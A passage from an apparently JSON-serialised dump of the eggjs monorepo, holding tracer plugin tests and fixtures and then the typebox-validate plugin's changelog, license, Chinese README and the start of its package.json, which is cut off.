    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, expect } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('test/error.tracer.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/error-tracer-test'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  it('should get app, agent tracer', () => {\n    expect(app.appBeforeReadyTracers.length).toBe(3);\n    // @ts-expect-error agentBeforeReadyTracers is not exist on type Agent\n    expect(app.agent.agentBeforeReadyTracers.length).toBe(3);\n\n    expect(app.appAfterReadyTracers.length).toBe(3);\n    // @ts-expect-error agentAfterReadyTracers is not exist on type Agent\n    expect(app.agent.agentAfterReadyTracers.length).toBe(3);\n  });\n\n  it('should GET /', () => {\n    return app\n      .httpRequest()\n      .get('/')\n      .expect('x-trace-id', /\\w{13}/)\n      .expect('hi, egg')\n      .expect(200);\n  });\n});\n"
  },
  {
    "path": "plugins/tracer/test/fixtures/apps/error-tracer-test/agent.js",
    "content": "module.exports = (agent) => {\n  const agentBeforeReadyTracers = [];\n  const agentAfterReadyTracers = [];\n\n  agent.agentBeforeReadyTracers = agentBeforeReadyTracers;\n  agent.agentAfterReadyTracers = agentAfterReadyTracers;\n\n  try {\n    agentBeforeReadyTracers.push(agent.tracer);\n    agentBeforeReadyTracers.push(agent.tracer);\n    agentBeforeReadyTracers.push(agent.tracer);\n  } catch (e) {\n    agent.coreLogger.warn(e);\n  }\n\n  agent.ready(() => {\n    try {\n      agentAfterReadyTracers.push(agent.tracer);\n      agentAfterReadyTracers.push(agent.tracer);\n      agentAfterReadyTracers.push(agent.tracer);\n    } catch (e) {\n      agent.coreLogger.warn(e);\n    }\n  });\n};\n"
  },
  {
    "path": "plugins/tracer/test/fixtures/apps/error-tracer-test/app/router.js",
    "content": "const assert = require('assert');\n\nmodule.exports = (app) => {\n  app.get('/', async function () {\n    assert.equal(this.traceId, this.traceId);\n    this.set('x-trace-id', this.traceId);\n    this.body = 'hi, egg';\n  });\n};\n"
  },
  {
    "path": "plugins/tracer/test/fixtures/apps/error-tracer-test/app.js",
    "content": "module.exports = (app) => {\n  const appBeforeReadyTracers = [];\n  const appAfterReadyTracers = [];\n\n  app.appBeforeReadyTracers = appBeforeReadyTracers;\n  app.appAfterReadyTracers = appAfterReadyTracers;\n\n  try {\n    appBeforeReadyTracers.push(app.tracer);\n    appBeforeReadyTracers.push(app.tracer);\n    appBeforeReadyTracers.push(app.tracer);\n  } catch (e) {\n    app.coreLogger.warn(e);\n  }\n\n  app.ready(() => {\n    try {\n      appAfterReadyTracers.push(app.tracer);\n      appAfterReadyTracers.push(app.tracer);\n      appAfterReadyTracers.push(app.tracer);\n    } catch (e) {\n      app.coreLogger.warn(e);\n    }\n  });\n};\n"
  },
  {
    "path": "plugins/tracer/test/fixtures/apps/error-tracer-test/config/config.default.js",
    "content": "exports.keys = 'foo';\n\n/**\n * tracer config\n * @member Config#tracer\n * @property {Tracer} Class - tracer class name\n */\nexports.tracer = {\n  Class: class Tracer {\n    constructor(ctx) {\n      this.ctx = ctx;\n      this.name = ctx.locals.name;\n    }\n\n    get traceId() {\n      if (!this.TRACE_ID) {\n        this.TRACE_ID = Date.now();\n      }\n      return this.TRACE_ID;\n    }\n  },\n};\n"
  },
  {
    "path": "plugins/tracer/test/fixtures/apps/error-tracer-test/config/plugin.js",
    "content": "import tracerPlugin from '../../../../../src/index.ts';\n\nmodule.exports = {\n  ...tracerPlugin(),\n};\n"
  },
  {
    "path": "plugins/tracer/test/fixtures/apps/error-tracer-test/package.json",
    "content": "{\n  \"name\": \"error-tracer-test\"\n}\n"
  },
  {
    "path": "plugins/tracer/test/fixtures/apps/plugin-test/agent.js",
    "content": "module.exports = (agent) => {\n  const agentBeforeReadyTracers = [];\n  const agentAfterReadyTracers = [];\n\n  agentBeforeReadyTracers.push(agent.tracer);\n  agentBeforeReadyTracers.push(agent.tracer);\n  agentBeforeReadyTracers.push(agent.tracer);\n\n  agent.agentBeforeReadyTracers = agentBeforeReadyTracers;\n  agent.agentAfterReadyTracers = agentAfterReadyTracers;\n\n  agent.ready(() => {\n    agentAfterReadyTracers.push(agent.tracer);\n    agentAfterReadyTracers.push(agent.tracer);\n    agentAfterReadyTracers.push(agent.tracer);\n  });\n};\n"
  },
  {
    "path": "plugins/tracer/test/fixtures/apps/plugin-test/app/router.js",
    "content": "const assert = require('assert');\n\nmodule.exports = (app) => {\n  app.get('/', async (ctx) => {\n    assert(ctx.traceId);\n    assert.equal(ctx.traceId, ctx.traceId);\n    ctx.set('x-trace-id', ctx.traceId);\n    ctx.body = 'hi, egg';\n  });\n};\n"
  },
  {
    "path": "plugins/tracer/test/fixtures/apps/plugin-test/app.js",
    "content": "module.exports = (app) => {\n  const appBeforeReadyTracers = [];\n  const appAfterReadyTracers = [];\n\n  appBeforeReadyTracers.push(app.tracer);\n  appBeforeReadyTracers.push(app.tracer);\n  appBeforeReadyTracers.push(app.tracer);\n\n  app.appBeforeReadyTracers = appBeforeReadyTracers;\n  app.appAfterReadyTracers = appAfterReadyTracers;\n\n  app.ready(() => {\n    appAfterReadyTracers.push(app.tracer);\n    appAfterReadyTracers.push(app.tracer);\n    appAfterReadyTracers.push(app.tracer);\n  });\n};\n"
  },
  {
    "path": "plugins/tracer/test/fixtures/apps/plugin-test/config/config.default.js",
    "content": "exports.keys = 'foo';\n"
  },
  {
    "path": "plugins/tracer/test/fixtures/apps/plugin-test/config/plugin.js",
    "content": "import tracerPlugin from '../../../../../src/index.ts';\n\nmodule.exports = {\n  ...tracerPlugin(),\n};\n"
  },
  {
    "path": "plugins/tracer/test/fixtures/apps/plugin-test/package.json",
    "content": "{\n  \"name\": \"plugin-test\"\n}\n"
  },
  {
    "path": "plugins/tracer/test/index.test.ts",
    "content": "import { describe, it, expect } from 'vitest';\n\nimport { Tracer } from '../src/index.ts';\n\ndescribe('test/index.test.ts', () => {\n  it('should work with lib', () => {\n    expect(Tracer).toBeInstanceOf(Function);\n  });\n});\n"
  },
  {
    "path": "plugins/tracer/test/plugin.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('test/plugin.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/plugin-test'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  it('should GET /', () => {\n    return app\n      .httpRequest()\n      .get('/')\n      .expect('x-trace-id', /^\\w{8}-\\w{4}-\\w{4}-\\w{4}-\\w{12}$/)\n      .expect('hi, egg')\n      .expect(200);\n  });\n});\n"
  },
  {
    "path": "plugins/tracer/test/tracer.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, expect } from 'vitest';\n\nimport { isReady } from '../src/app/extend/application.ts';\nimport { getFixtures } from './utils.ts';\n\ndescribe('test/tracer.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/plugin-test'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  it('should get app, agent tracer', () => {\n    expect(app[isReady]).toBe(true);\n    expect(app.agent[isReady]).toBe(true);\n\n    let [appTracer_1, appTracer_2, appTracer_3] = app.appBeforeReadyTracers;\n    // @ts-expect-error agentBeforeReadyTracers is not exist on type Agent\n    let [agentTracer_1, agentTracer_2, agentTracer_3] = app.agent.agentBeforeReadyTracers;\n\n    expect(appTracer_1).toBe(appTracer_2);\n    expect(appTracer_1).toBe(appTracer_3);\n\n    expect(appTracer_1.traceId).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n    expect(appTracer_2.traceId).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n    expect(appTracer_3.traceId).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n\n    expect(appTracer_1).toBe(appTracer_2);\n    expect(appTracer_1).toBe(appTracer_3);\n\n    expect(appTracer_1.traceId).toBe(appTracer_2.traceId);\n    expect(appTracer_1.traceId).toBe(appTracer_3.traceId);\n\n    expect(agentTracer_1.traceId).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n    expect(agentTracer_2.traceId).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n    expect(agentTracer_3.traceId).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n\n    expect(agentTracer_1).toBe(agentTracer_2);\n    expect(agentTracer_1).toBe(agentTracer_3);\n\n    expect(agentTracer_1.traceId).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n    expect(agentTracer_2.traceId).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n    expect(agentTracer_3.traceId).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n\n    expect(agentTracer_1.traceId).toBe(agentTracer_2.traceId);\n    expect(agentTracer_1.traceId).toBe(agentTracer_3.traceId);\n\n    // app ready\n    [appTracer_1, appTracer_2, appTracer_3] = app.appAfterReadyTracers;\n\n    expect(appTracer_1).not.toBe(appTracer_2);\n    expect(appTracer_1).not.toBe(appTracer_3);\n\n    expect(appTracer_1.traceId).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n    expect(appTracer_2.traceId).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n    expect(appTracer_3.traceId).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n\n    expect(appTracer_1).not.toBe(appTracer_2);\n    expect(appTracer_1).not.toBe(appTracer_3);\n\n    expect(appTracer_1.traceId).not.toBe(appTracer_2.traceId);\n    expect(appTracer_1.traceId).not.toBe(appTracer_3.traceId);\n\n    // agent ready\n    // @ts-expect-error agentAfterReadyTracers is not exist on type Agent\n    [agentTracer_1, agentTracer_2, agentTracer_3] = app.agent.agentAfterReadyTracers;\n    expect(agentTracer_1.traceId).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n    expect(agentTracer_2.traceId).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n    expect(agentTracer_3.traceId).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n\n    expect(agentTracer_1).not.toBe(agentTracer_2);\n    expect(agentTracer_1).not.toBe(agentTracer_3);\n\n    expect(agentTracer_1.traceId).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n    expect(agentTracer_2.traceId).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n    expect(agentTracer_3.traceId).toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/);\n\n    expect(agentTracer_1.traceId).not.toBe(agentTracer_2.traceId);\n    expect(agentTracer_1.traceId).not.toBe(agentTracer_3.traceId);\n  });\n});\n"
  },
  {
    "path": "plugins/tracer/test/utils.ts",
    "content": "import path from 'node:path';\n\nexport function getFixtures(name: string): string {\n  return path.join(import.meta.dirname, 'fixtures', name);\n}\n"
  },
  {
    "path": "plugins/tracer/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "plugins/typebox-validate/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [3.0.0](https://github.com/eggjs-community/egg-typebox-validate/compare/v2.3.1...v3.0.0) (2025-03-05)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nhttps://github.com/eggjs/egg/issues/5257\n\n### Features\n\n* support egg >= 4.0 ([ea1bf7e](https://github.com/eggjs-community/egg-typebox-validate/commit/ea1bf7ef8363728f95c5367d70654e8445981bd9))\n\n\n### Bug Fixes\n\n* export Ajv ([62157b7](https://github.com/eggjs-community/egg-typebox-validate/commit/62157b7ac5b3b13d03ebd93ed6409dcedae91c34))\n"
  },
  {
    "path": "plugins/typebox-validate/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2021 David Tse\nCopyright (c) 2025-present eggjs-community and the contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "plugins/typebox-validate/README.md",
    "content": "# @eggjs/typebox-validate\n\n[![NPM version][npm-image]][npm-url]\n[![Test coverage][codecov-image]][codecov-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/typebox-validate.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/typebox-validate\n[codecov-image]: https://img.shields.io/codecov/c/github/eggjs-community/@eggjs/typebox-validate.svg?style=flat-square\n[codecov-url]: https://codecov.io/github/eggjs-community/@eggjs/typebox-validate?branch=master\n[snyk-image]: https://snyk.io/test/npm/@eggjs/typebox-validate/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/typebox-validate\n[download-image]: https://img.shields.io/npm/dm/@eggjs/typebox-validate.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/typebox-validate\n\n基于 [typebox](https://github.com/sinclairzx81/typebox) 和 [ajv](https://github.com/ajv-validator/ajv) 封装的 egg validate 插件。\n\n## 为什么有这个项目\n\n一直以来，在 typescript 的 egg 项目里，对参数校验 ctx.validate 是比较难受的，比如:\n\n```js\nclass HomeController extends Controller {\n  async index() {\n    const { ctx } = this;\n    // 写一遍 js 的类型校验\n    ctx.validate({\n      id: 'string',\n      name: {\n        type: 'string',\n        required: false,\n      },\n      timestamp: {\n        type: 'number',\n        required: false,\n      },\n    }, ctx.params);\n\n    // 写一遍 ts 的类型定义，为了后面拿参数定义\n    const params: {\n      id: string;\n      name?: string;\n      timestamp: number;\n    } = ctx.params;\n    ...\n    ctx.body = params.id;\n  }\n}\n\nexport default HomeController;\n```\n\n可以看到这里我们写了两遍的类型定义，一遍 js 的定义（用 [parameter](https://github.com/node-modules/parameter) 库的规则），另一遍用 ts 的方式来强转我们的参数类型，方便我们后面写代码的时候能得到 ts 的类型效果。\n对于简单的类型写起来还好，但是对于复杂点的参数定义，开发体验就不是那么好了。\n\n这就是这个库想要解决的问题，对于参数校验，写一遍类型就够了：\n\n```diff\n+ import { Static, Type } from '@eggjs/typebox-validate/typebox';\n\nclass HomeController extends Controller {\n  async index() {\n    const { ctx } = this;\n    // 写 js 类型定义\n-   ctx.validate({\n-     id: 'string',\n-     name: {\n-       type: 'string',\n-       required: false,\n-     },\n-     timestamp: {\n-       type: 'number',\n-       required: false,\n-     },\n-   }, ctx.params);\n\n+   const paramsSchema = Type.Object({\n+     id: Type.String(),\n+     name: Type.Optional(Type.String()),\n+     timestamp: Type.Optional(Type.Integer()),\n+   });\n    // 直接校验\n+   ctx.tValidate(paramsSchema, ctx.params);\n    // 不用写 js 类型定义\n+   const params: Static<typeof paramsSchema> = ctx.params;\n-   const params: {\n-     id: string;\n-     name?: string;\n-     timestamp: number;\n-   } = ctx.params;\n    ...\n    ctx.body = params.id;\n  }\n}\n\nexport default HomeController;\n```\n\n用 `Static<typeof typebox>` 推导出的 ts 类型：\n\n![tpian](https://gw.alipayobjects.com/zos/antfincdn/XjH2W7lEB/ad5b628c-9ff9-456d-bb7b-2fb0ac418f1c.png)\n\n## 怎么使用\n\n1. 安装\n\n```js\nnpm i @eggjs/typebox-validate\n```\n\n> 针对 `egg@3.x` 版本，请移步 https://github.com/eggjs-community/egg-typebox-validate\n\n1. 在项目中配置\n\n```js\n// config/plugin.ts\nimport typeboxValidatePlugin from '@eggjs/typebox-validate';\n\nexport default {\n  ...typeboxValidatePlugin(),\n};\n```\n\n3. 在业务代码中使用\n\n```diff\n+ import { Static, Type } from '@eggjs/typebox-validate/typebox';\n\n// 写在 controller 外面，静态化，性能更好，下面有 benchmark\n+ const paramsSchema = Type.Object({\n+   id: Type.String(),\n+   name: Type.String(),\n+   timestamp: Type.Integer(),\n+ });\n\n// 可以直接 export 出去，给下游 service 使用\n+ export type ParamsType = Static<typeof paramsSchema>;\n\nclass HomeController extends Controller {\n  async index() {\n    const { ctx } = this;\n\n    // 直接校验\n+   ctx.tValidate(paramsSchema, ctx.params);\n    // 不用写 js 类型定义\n+   const params: ParamsType = ctx.params;\n\n    ...\n  }\n}\n\nexport default HomeController;\n```\n\n## 除了类型定义 write once 外，还有更多好处\n\n1. 类型组合方式特别香，能解决很多 DRY(Don't Repeat Yourself) 问题。比如有几张 db 表，都定义了 name 必填和 description 选填，那这个规则可以在各个实体类方法中被组合了。\n\nShow me the code!\n\n```ts\nexport const TYPEBOX_NAME_DESC_OBJECT = Type.Object({\n  name: Type.String(),\n  description: Type.Optional(Type.String()),\n});\n\n// type NameAndDesc = { name: string; description?: string }\ntype NameAndDesc = Static<typeof TYPEBOX_NAME_DESC_OBJECT>;\n\n// controller User\nasync create() {\n  const { ctx } = this;\n  const USER_TYPEBOX = Type.Intersect([\n    TYPEBOX_NAME_DESC_OBJECT,\n    Type.Object({ avatar: Type.String() }),\n  ])\n  ctx.tValidate(USER_TYPEBOX, ctx.request.body);\n\n  // 在编辑器都能正确得到提示\n  // type User = { name: string; description?: string } & { avatar: string }\n  const { name, description, avatar } = ctx.request.body as Static<typeof USER_TYPEBOX>;\n  ...\n}\n\n// controller Photo\nasync create() {\n  const { ctx } = this;\n  const PHOTO_TYPEBOX = Type.Intersect([\n    TYPEBOX_NAME_DESC_OBJECT,\n    Type.Object({ location: Type.String() }),\n  ])\n  ctx.tValidate(PHOTO_TYPEBOX, ctx.request.body);\n\n  // 在编辑器都能正确得到提示\n  // type Photo = { name: string; description?: string } & { location: string }\n  const { name, description, location } = ctx.request.body as Static<typeof PHOTO_TYPEBOX>;\n  ...\n}\n```\n\n2. 校验规则使用的是业界标准的 [json-schema](https://json-schema.org/) 规范，内置很多[开箱即用的类型](https://github.com/ajv-validator/ajv-formats#formats)。\n\n```js\n('date-time',\n  'time',\n  'date',\n  'email',\n  'hostname',\n  'ipv4',\n  'ipv6',\n  'uri',\n  'uri-reference',\n  'uuid',\n  'uri-template',\n  'json-pointer',\n  'relative-json-pointer',\n  'regex');\n```\n\n3. 写定义的时候写的是 js 对象(`Type.Number()`)，有类型提示，语法也比较简单，有提示不容易写错；写 parameter 规范的时候，写字符串(`'nunber'`)有时候会不小心写错 😂，再加上它对于复杂嵌套对象的写法还是比较困难的，我每次都会查文档，官方的文档也不全。但是 typebox，就很容易举一反三了。\n\n## 与 egg-validate 性能比较\n\negg-typebox-validate 底层使用的是 [ajv](https://github.com/ajv-validator/ajv), 官网上宣称是 _**The fastest JSON validator for Node.js and browser.**_\n\n结论是在静态化的场景下，ajv 的性能要比 parameter 好得多，快不是一个数量级，详见[benchmark](./benchmark/ajv-vs-parameter.mjs)\n\n```js\nsuite\n  .add('#ajv', function () {\n    const rule = Type.Object({\n      name: Type.String(),\n      description: Type.Optional(Type.String()),\n      location: Type.Enum({ shanghai: 'shanghai', hangzhou: 'hangzhou' }),\n    });\n    ajv.validate(rule, DATA);\n  })\n  .add('#ajv define once', function () {\n    ajv.validate(typeboxRule, DATA);\n  })\n  .add('#parameter', function () {\n    const rule = {\n      name: 'string',\n      description: {\n        type: 'string',\n        required: false,\n      },\n      location: ['shanghai', 'hangzhou'],\n    };\n    p.validate(rule, DATA);\n  })\n  .add('#parameter define once', function () {\n    p.validate(parameterRule, DATA);\n  });\n```\n\n在 MacBook Pro(2.2 GHz 六核Intel Core i7)上，跑出来结果是:\n\n```bash\n#ajv x 941 ops/sec ±3.97% (73 runs sampled)\n#ajv define once x 17,188,370 ops/sec ±11.53% (73 runs sampled)\n#parameter x 2,544,118 ops/sec ±4.68% (79 runs sampled)\n#parameter define once x 2,541,590 ops/sec ±5.34% (77 runs sampled)\nFastest is #ajv define once\n```\n\n## 从 egg-validate 迁移到这个库的成本\n\n1. 把原来字符串式 js 对象写法迁移到 typebox 的对象写法。typebox 的写法还算简单和容易举一反三\n2. 把 `ctx.validate` 替换成 `ctx.tValidate`\n3. 建议渐进式迁移，先迁简单的，对业务影响不大的\n\n## 总结\n\n切换到 `@eggjs/typebox-validate` 校验后：\n\n1. 可以解决 ts 项目中参数校验代码写两遍类型的问题，提升代码重用率，可维护性等问题\n2. 用标准 json-schema 来做参数校验，是更加标准的业界做法，内置更多业界标准模型\n\n## API\n\n1. `ctx.tValidate` 参数校验失败后，抛出错误，内部实现（错误码、错误标题等）逻辑和 `ctx.validate` 的保持一致\n\n```diff\n+ import { Static, Type } from '@eggjs/typebox-validate/typebox';\n\nctx.tValidate(Type.Object({\n  name: Type.String(),\n}), ctx.request.body);\n```\n\n2. `ctx.tValidateWithoutThrow` 直接校验，不抛出错误\n\n```diff\n+ import { Static, Type } from '@eggjs/typebox-validate/typebox';\n\nconst valid = ctx.tValidateWithoutThrow(Type.Object({\n  name: Type.String(),\n}), ctx.request.body);\n\nif (valid) {\n  ...\n} else {\n  const errors = this.app.ajv.errors\n  // handle errors\n  ...\n}\n```\n\n3. ⭐⭐⭐ 装饰器 decorator `@Validate([ [rule1, ctx => ctx.xx1], [rule2, ctx => ctx.xx2] ])` 调用（写法更干净，推荐使用!️）\n\n```diff\n+ import { Validate, ValidateFactory } from '@eggjs/typebox-validate/decorator';\n\nconst ValidateWithRedirect = ValidateFactory(ctx => ctx.redirect('/422'));\n\nclass HomeController extends Controller {\n+ @Validate([\n+   [paramsSchema, ctx => ctx.params],\n+   [bodySchema, ctx => ctx.request.body, (ctx, errors) => 'MyErrorPrefix: ' + errors.map(e => e.message).join(', ')],\n+ ])\n  async index() {\n    const { ctx } = this;\n\n    // 直接校验\n-   ctx.tValidate(paramsSchema, ctx.params);\n-   ctx.tValidate(bodySchema, ctx.request.body);\n    // 不用写 js 类型定义\n    const params: ParamsType = ctx.params;\n\n    ...\n  }\n+ @ValidateWithRedirect([paramsSchema, ctx => ctx.params])\n  async post() {\n    // ...\n  }\n}\n\nexport default HomeController;\n```\n\n目前装饰器只支持有 `this.ctx` 的 class 上使用，比如 controller，service 等。也可以通过内置的 `ValidateFactory` 自定义校验失败后的回调逻辑，更多使用案例可以看这个项目里写的测试用例。\n\n## 怎么写 typebox 定义\n\n参考 [https://github.com/sinclairzx81/typebox#types](https://github.com/sinclairzx81/typebox#types)\n\n## 支持 ajv 对 string 的 transform 校验\n\n比如:\n\n```js\nconst body = { name: '  david   ' };\n\nctx.tValidate(\n  Type.Object({\n    name: Type.String({ minLength: 1, maxLength: 5, transform: ['trim'] }),\n  }),\n  body\n);\n```\n\n1. 是可以通过校验的\n2. 会对 body 有副作用，改写 name 字段，trim name 字段，body 会变成 `{ name: 'david' }`\n\n更多 ajv 对 string 的 transform 操作，详见 [https://ajv.js.org/packages/ajv-keywords.html#transform](https://ajv.js.org/packages/ajv-keywords.html#transform)\n\n## 如何写自定义校验规则\n\n比如想校验上传的 string 是否是合法的 json string，我们可以对 Type.String 的 format 做 patch，针对 string 加一个 'json-string' 的 format\n\n1. 在 config.default.ts 里 patch 默认 ajv 实例的规则\n\n```ts\nconfig.typeboxValidate = {\n  patchAjv: ajv => {\n    ajv.addFormat('json-string', {\n      type: 'string',\n      validate: x => {\n        try {\n          JSON.parse(x);\n          return true;\n        } catch (err) {\n          return false;\n        }\n      },\n    });\n  },\n};\n```\n\n2. 使用\n\n```ts\nasync someFunc() {\n  const typebox = Type.Object({\n    jsonString: Type.Optional(Type.String({ format: 'json-string' })),\n  });\n\n  const res = ctx.tValidate(typebox, { a: '{\"a\":1}' }) // valid\n  const res = ctx.tValidate(typebox, { a: 'wrong{\"a\":1}' }) // invalid\n}\n```\n\n当然也可以定义其他各种规则，比如我们常见的 semver 规范，那可以在我们的配置里继续 patch ajv string format\n\n```diff\n+ import { valid } from 'semver';\n\nconfig.typeboxValidate = {\n  patchAjv: (ajv) => {\n    ajv.addFormat('json-string', {\n      type: 'string',\n      validate: (x) => {\n        try {\n          JSON.parse(x);\n          return true;\n        } catch (err) {\n          return false;\n        }\n      }\n    });\n\n+   ajv.addFormat(\"semver\", {\n+     type: \"string\",\n+     validate: (x) => valid(x) != null,\n+   })\n  }\n}\n```\n\n使用例子：\n\n```ts\nasync someFunc() {\n  const typebox = Type.Object({\n    version: Type.String({ format: 'semver' }),\n  });\n\n  const res = ctx.tValidate(typebox, { a: '1.0.0' }) // valid\n  const res = ctx.tValidate(typebox, { a: 'a.b.c' }) // invalid\n}\n```\n\n上面例子是 string 的例子，当然也可以对其他类型做其他 patch，比如 number，array 等，限制你的只有想象力。\n\n全部 json-schema 支持的类型：[https://json-schema.org/understanding-json-schema/reference/type.html](https://json-schema.org/understanding-json-schema/reference/type.html)\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "plugins/typebox-validate/package.json",
    "content": "{\n  \"name\": \"@eggjs/typebox-validate\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"another validate for typescript egg projects\",\n  \"keywords\": [\n    \"ajv\",\n    \"egg\",\n    \"egg-plugin\",\n    \"eggPlugin\",\n    \"eggjs\",\n    \"typebox\",\n    \"validate\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/plugins/typebox-validate\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"xiekw2010\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"plugins/typebox-validate\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./app/extend/context\": \"./src/app/extend/context.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./decorator\": \"./src/decorator.ts\",\n    \"./typebox\": \"./src/typebox.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./app/extend/context\": \"./dist/app/extend/context.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./decorator\": \"./dist/decorator.js\",\n      \"./typebox\": \"./dist/typebox.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"ajv\": \"catalog:\",\n    \"ajv-formats\": \"catalog:\",\n    \"ajv-keywords\": \"catalog:\",\n    \"typebox\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": 